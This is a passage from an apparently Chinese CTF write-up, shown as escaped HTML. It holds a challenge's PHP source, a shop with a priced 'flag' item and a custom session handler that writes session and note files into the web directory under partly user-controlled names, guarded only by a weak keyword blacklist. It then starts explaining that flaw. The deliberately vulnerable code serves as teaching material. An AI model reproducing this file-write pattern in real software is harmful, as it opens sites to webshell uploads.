class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;朝拜圣地)) mkdir(\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;朝拜圣地);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;禁地 = \u003cspan class=\"keyword\"\u003earray\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;php\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;html\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;htaccess\u0026#x27;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e 挖掘(\u003cspan class=\"params\"\u003e$货物, $食物\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eforeach\u003c/span\u003e (\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;禁地 \u003cspan class=\"keyword\"\u003eas\u003c/span\u003e $元素) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (stripos(\u003cspan class=\"variable\"\u003e$_COOKIE\u003c/span\u003e[$食物], $元素) !== \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003edie\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;invaild \u0026#x27;\u003c/span\u003e . $食物);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;圣殿 = session_id();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e 种植(\u003cspan class=\"params\"\u003e$货物, $食物\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;贡品 = $货物;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e file_put_contents(\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;朝拜圣地 . \u003cspan class=\"string\"\u003e\u0026#x27;/sess_\u0026#x27;\u003c/span\u003e . $货物, $食物) === \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e ? \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e : \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e 收获(\u003cspan class=\"params\"\u003e$货物\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;贡品 = $货物;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e (\u003cspan class=\"keyword\"\u003estring\u003c/span\u003e)@file_get_contents(\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;朝拜圣地 . \u003cspan class=\"string\"\u003e\u0026#x27;/sess_\u0026#x27;\u003c/span\u003e . $货物);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e 总结(\u003cspan class=\"params\"\u003e$货物\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (strlen(\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;圣殿) \u0026lt;= \u003cspan class=\"number\"\u003e0\u003c/span\u003e) \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e file_put_contents(\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;朝拜圣地 . \u003cspan class=\"string\"\u003e\u0026#x27;/note_\u0026#x27;\u003c/span\u003e . \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;圣殿, $货物) === \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e ? \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e : \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e 归纳(\u003cspan class=\"params\"\u003e\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e (\u003cspan class=\"keyword\"\u003estring\u003c/span\u003e)@file_get_contents(\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;朝拜圣地 . \u003cspan class=\"string\"\u003e\u0026#x27;/note_\u0026#x27;\u003c/span\u003e . \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;贡品);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e 思考(\u003cspan class=\"params\"\u003e$货物\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;贡品 = $货物;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (file_exists(\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;朝拜圣地 . \u003cspan class=\"string\"\u003e\u0026#x27;/sess_\u0026#x27;\u003c/span\u003e . $货物)) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e unlink(\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;朝拜圣地 . \u003cspan class=\"string\"\u003e\u0026#x27;/sess_\u0026#x27;\u003c/span\u003e . $货物);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e 反省(\u003cspan class=\"params\"\u003e$货物\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eforeach\u003c/span\u003e (glob(\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;朝拜圣地 . \u003cspan class=\"string\"\u003e\u0026#x27;/*\u0026#x27;\u003c/span\u003e) \u003cspan class=\"keyword\"\u003eas\u003c/span\u003e $元素) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (filemtime($元素) + $货物 \u0026lt; time() \u0026amp;\u0026amp; file_exists($元素)) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e unlink($元素);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e 完毕(\u003cspan class=\"params\"\u003e\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"title\"\u003e__destruct\u003c/span\u003e(\u003cspan class=\"params\"\u003e\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;总结(\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;归纳());\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e$齿轮 = \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e 造齿轮();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003esession_set_save_handler(\u003cspan class=\"keyword\"\u003earray\u003c/span\u003e($齿轮, \u003cspan class=\"string\"\u003e\u0026#x27;挖掘\u0026#x27;\u003c/span\u003e), \u003cspan class=\"keyword\"\u003earray\u003c/span\u003e($齿轮, \u003cspan class=\"string\"\u003e\u0026#x27;完毕\u0026#x27;\u003c/span\u003e), \u003cspan class=\"keyword\"\u003earray\u003c/span\u003e($齿轮, \u003cspan class=\"string\"\u003e\u0026#x27;收获\u0026#x27;\u003c/span\u003e), \u003cspan class=\"keyword\"\u003earray\u003c/span\u003e($齿轮, \u003cspan class=\"string\"\u003e\u0026#x27;种植\u0026#x27;\u003c/span\u003e), \u003cspan class=\"keyword\"\u003earray\u003c/span\u003e($齿轮, \u003cspan class=\"string\"\u003e\u0026#x27;反省\u0026#x27;\u003c/span\u003e), \u003cspan class=\"keyword\"\u003earray\u003c/span\u003e($齿轮, \u003cspan class=\"string\"\u003e\u0026#x27;完毕\u0026#x27;\u003c/span\u003e));\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003esession_start();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003esrand(mktime(\u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e));\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e$盛世 = \u003cspan class=\"keyword\"\u003earray\u003c/span\u003e(rand() =\u0026gt; \u003cspan class=\"keyword\"\u003earray\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;alice\u0026#x27;\u003c/span\u003e, \u003cspan class=\"number\"\u003e1\u003c/span\u003e), rand() =\u0026gt; \u003cspan class=\"keyword\"\u003earray\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;bob\u0026#x27;\u003c/span\u003e, \u003cspan class=\"number\"\u003e5\u003c/span\u003e), rand() =\u0026gt; \u003cspan class=\"keyword\"\u003earray\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;cat\u0026#x27;\u003c/span\u003e, \u003cspan class=\"number\"\u003e20\u003c/span\u003e), rand() =\u0026gt; \u003cspan class=\"keyword\"\u003earray\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;dog\u0026#x27;\u003c/span\u003e, \u003cspan class=\"number\"\u003e15\u003c/span\u003e), rand() =\u0026gt; \u003cspan class=\"keyword\"\u003earray\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;evil\u0026#x27;\u003c/span\u003e, \u003cspan class=\"number\"\u003e5\u003c/span\u003e), rand() =\u0026gt; \u003cspan class=\"keyword\"\u003earray\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;flag\u0026#x27;\u003c/span\u003e, \u003cspan class=\"number\"\u003e9999\u003c/span\u003e));\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e 化缘(\u003cspan class=\"params\"\u003e\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"variable\"\u003e$_SESSION\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;balance\u0026#x27;\u003c/span\u003e];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e 取经(\u003cspan class=\"params\"\u003e\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eglobal\u003c/span\u003e $盛世;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e $宝藏 = \u003cspan class=\"string\"\u003e\u0026#x27;[\u0026#x27;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eforeach\u003c/span\u003e (\u003cspan class=\"variable\"\u003e$_SESSION\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;items\u0026#x27;\u003c/span\u003e] \u003cspan class=\"keyword\"\u003eas\u003c/span\u003e $元素) $宝藏 .= $盛世[$元素][\u003cspan class=\"number\"\u003e0\u003c/span\u003e] . \u003cspan class=\"string\"\u003e\u0026#x27;, \u0026#x27;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e $宝藏 .= \u003cspan class=\"string\"\u003e\u0026#x27;]\u0026#x27;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e $宝藏;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e 念经(\u003cspan class=\"params\"\u003e\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eglobal\u003c/span\u003e $齿轮;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e $齿轮-\u0026gt;归纳();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e 造世(\u003cspan class=\"params\"\u003e\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eglobal\u003c/span\u003e $盛世;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e $宝藏 = \u003cspan class=\"string\"\u003e\u0026#x27;\u0026#x27;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eforeach\u003c/span\u003e ($盛世 \u003cspan class=\"keyword\"\u003eas\u003c/span\u003e $按键 =\u0026gt; $元素) $宝藏 .= \u003cspan class=\"string\"\u003e\u0026#x27;\u0026lt;div class=\u0026quot;item\u0026quot;\u0026gt;\u0026lt;form method=\u0026quot;POST\u0026quot;\u0026gt;\u0026lt;div class=\u0026quot;form-group\u0026quot;\u0026gt;\u0026#x27;\u003c/span\u003e . $元素[\u003cspan class=\"number\"\u003e0\u003c/span\u003e] . \u003cspan class=\"string\"\u003e\u0026#x27;\u0026lt;/div\u0026gt;\u0026lt;div class=\u0026quot;form-group\u0026quot;\u0026gt;\u0026lt;input type=\u0026quot;hidden\u0026quot; name=\u0026quot;id\u0026quot; value=\u0026quot;\u0026#x27;\u003c/span\u003e . $按键 . \u003cspan class=\"string\"\u003e\u0026#x27;\u0026quot;\u0026gt;\u0026lt;button type=\u0026quot;submit\u0026quot; class=\u0026quot;btn btn-success\u0026quot;\u0026gt;buy ($\u0026#x27;\u003c/span\u003e . $元素[\u003cspan class=\"number\"\u003e1\u003c/span\u003e] . \u003cspan class=\"string\"\u003e\u0026#x27;)\u0026lt;/button\u0026gt;\u0026lt;/div\u0026gt;\u0026lt;/form\u0026gt;\u0026lt;/div\u0026gt;\u0026#x27;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e $宝藏;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!\u003cspan class=\"keyword\"\u003eisset\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$_SESSION\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;balance\u0026#x27;\u003c/span\u003e])) \u003cspan class=\"variable\"\u003e$_SESSION\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;balance\u0026#x27;\u003c/span\u003e] = \u003cspan class=\"number\"\u003e2233\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!\u003cspan class=\"keyword\"\u003eisset\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$_SESSION\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;items\u0026#x27;\u003c/span\u003e])) \u003cspan class=\"variable\"\u003e$_SESSION\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;items\u0026#x27;\u003c/span\u003e] = [];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!\u003cspan class=\"keyword\"\u003eisset\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$_SESSION\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;note\u0026#x27;\u003c/span\u003e])) \u003cspan class=\"variable\"\u003e$_SESSION\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;note\u0026#x27;\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#x27;\u0026#x27;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eisset\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$_POST\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;id\u0026#x27;\u003c/span\u003e])) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"variable\"\u003e$_SESSION\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;balance\u0026#x27;\u003c/span\u003e] \u0026gt;= $盛世[\u003cspan class=\"variable\"\u003e$_POST\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;id\u0026#x27;\u003c/span\u003e]][\u003cspan class=\"number\"\u003e1\u003c/span\u003e]) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable\"\u003e$_SESSION\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;balance\u0026#x27;\u003c/span\u003e] = \u003cspan class=\"variable\"\u003e$_SESSION\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;balance\u0026#x27;\u003c/span\u003e] - $盛世[\u003cspan class=\"variable\"\u003e$_POST\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;id\u0026#x27;\u003c/span\u003e]][\u003cspan class=\"number\"\u003e1\u003c/span\u003e];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e array_push($\u0026#123;\u003cspan class=\"string\"\u003e\u0026#x27;_SESSION\u0026#x27;\u003c/span\u003e\u0026#125;[\u003cspan class=\"string\"\u003e\u0026#x27;items\u0026#x27;\u003c/span\u003e], \u003cspan class=\"variable\"\u003e$_POST\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;id\u0026#x27;\u003c/span\u003e]);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#x27;\u0026lt;span style=\u0026quot;color:green\u0026quot;\u0026gt;buy succ!\u0026lt;/span\u0026gt;\u0026#x27;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125; \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#x27;\u0026lt;span style=\u0026quot;color:red\u0026quot;\u0026gt;lack of balance!\u0026lt;/span\u0026gt;\u0026#x27;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eisset\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$_POST\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;note\u0026#x27;\u003c/span\u003e])) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (strlen(\u003cspan class=\"variable\"\u003e$_POST\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;note\u0026#x27;\u003c/span\u003e]) \u0026lt;= \u003cspan class=\"number\"\u003e1\u003c/span\u003e \u0026lt;\u0026lt; \u003cspan class=\"number\"\u003e10\u003c/span\u003e) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e $齿轮-\u0026gt;总结(str_replace(\u003cspan class=\"keyword\"\u003earray\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;\u0026amp;\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;\u0026lt;\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;\u0026gt;\u0026#x27;\u003c/span\u003e), \u003cspan class=\"keyword\"\u003earray\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;\u0026amp;amp;\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;\u0026amp;lt;\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;\u0026amp;gt;\u0026#x27;\u003c/span\u003e), \u003cspan class=\"variable\"\u003e$_POST\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;note\u0026#x27;\u003c/span\u003e]));\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#x27;\u0026lt;span style=\u0026quot;color:green\u0026quot;\u0026gt;write succ!\u0026lt;/span\u0026gt;\u0026#x27;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125; \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#x27;\u0026lt;span style=\u0026quot;color:red\u0026quot;\u0026gt;note too long!\u0026lt;/span\u0026gt;\u0026#x27;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e \u003c/div\u003e\u003c/div\u003e\u003cp\u003e阅读源码我们可以看出,出题人自行注册了session数据存储机制,将session数据存储在了web目录下,文件名后半部分可控。\u003cbr\u003e参考php 